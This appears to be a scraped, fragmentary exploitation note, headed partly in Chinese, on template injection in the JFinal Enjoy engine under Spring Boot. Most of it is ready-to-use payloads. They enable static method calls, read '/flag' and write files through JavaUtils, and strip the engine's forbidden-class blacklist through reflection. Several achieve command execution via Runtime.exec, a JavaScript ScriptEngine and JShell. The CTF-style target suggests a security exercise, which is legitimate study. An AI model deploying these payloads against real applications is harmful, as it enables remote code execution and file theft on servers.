Enjoy
engine.setDevMode(true);engine.setStaticFieldExpression(true);
engine.setStaticMethodExpression(true);开启静态方法调用


黑名单绕过


读文件
写文件
清除黑名单
js RCE



JShell RCE
Last updated
engine.setDevMode(true);engine.setStaticFieldExpression(true);
engine.setStaticMethodExpression(true);






Last updated
<dependency>
<groupId>com.jfinal</groupId>
<artifactId>enjoy</artifactId>
<version>5.1.3</version>
</dependency>@Configuration
public class SpringBootConfig {
@Bean(name = "jfinalViewResolver")
public JFinalViewResolver getJFinalViewResolver() {
JFinalViewResolver jfr = new JFinalViewResolver();
jfr.setSuffix(".html");
jfr.setContentType("text/html;charset=UTF-8");
jfr.setOrder(0);
jfr.setSessionInView(false);
Engine engine = JFinalViewResolver.engine;
engine.setDevMode(true);
engine.setToClassPathSourceFactory();
return jfr;
}
}#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticFieldExpression(true))#set(x=com.sun.org.apache.xml.internal.security.utils.JavaUtils::getBytesFromFile('/flag'))
#((java.util.Base64::getEncoder()).encodeToString(x))#set(x="hacked".getBytes())
#set(y=(java.util.Base64::getDecoder()).decode('YWFhYQ=='))
#(com.sun.org.apache.xml.internal.security.utils.JavaUtils::writeBytesToFilename('/tmp/success',y))public static Method findMethod(Class<?> clazz, String name, @Nullable Class<?>... paramTypes)
public static Object invokeMethod(Method method, @Nullable Object target, @Nullable Object... args)// ClassLoader.getSystemClassLoader()
URLClassLoader.getSystemClassLoader()Thread thread = Thread.currentThread();
ClassLoader contextClassLoader = thread.getContextClassLoader();#set(methodKit=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("com.jfinal.template.expr.ast.MethodKit"))
#set(runTime=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("java.lang.Runtime"))
#set(clazz=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("java.lang.Class"))
#set(meth=org.springframework.util.ReflectionUtils::findMethod(methodKit,'removeForbiddenClass',clazz))
#(org.springframework.util.ReflectionUtils::invokeMethod(meth,null,runTime))#((java.lang.Runtime::getRuntime()).exec('calc'))public static Object newInstance(Class<?> clazz) {
try {
return clazz.newInstance();
} catch (ReflectiveOperationException e) {
throw new RuntimeException(e);
}
}#set(clazz=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("javax.script.ScriptEngineManager"))
#set(engine=com.jfinal.kit.ReflectKit::newInstance(clazz))
#(engine.getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")'))#set(engine=java.beans.Beans::instantiate(null, "javax.script.ScriptEngineManager"))
#(engine.getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")'))#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec("calc")'))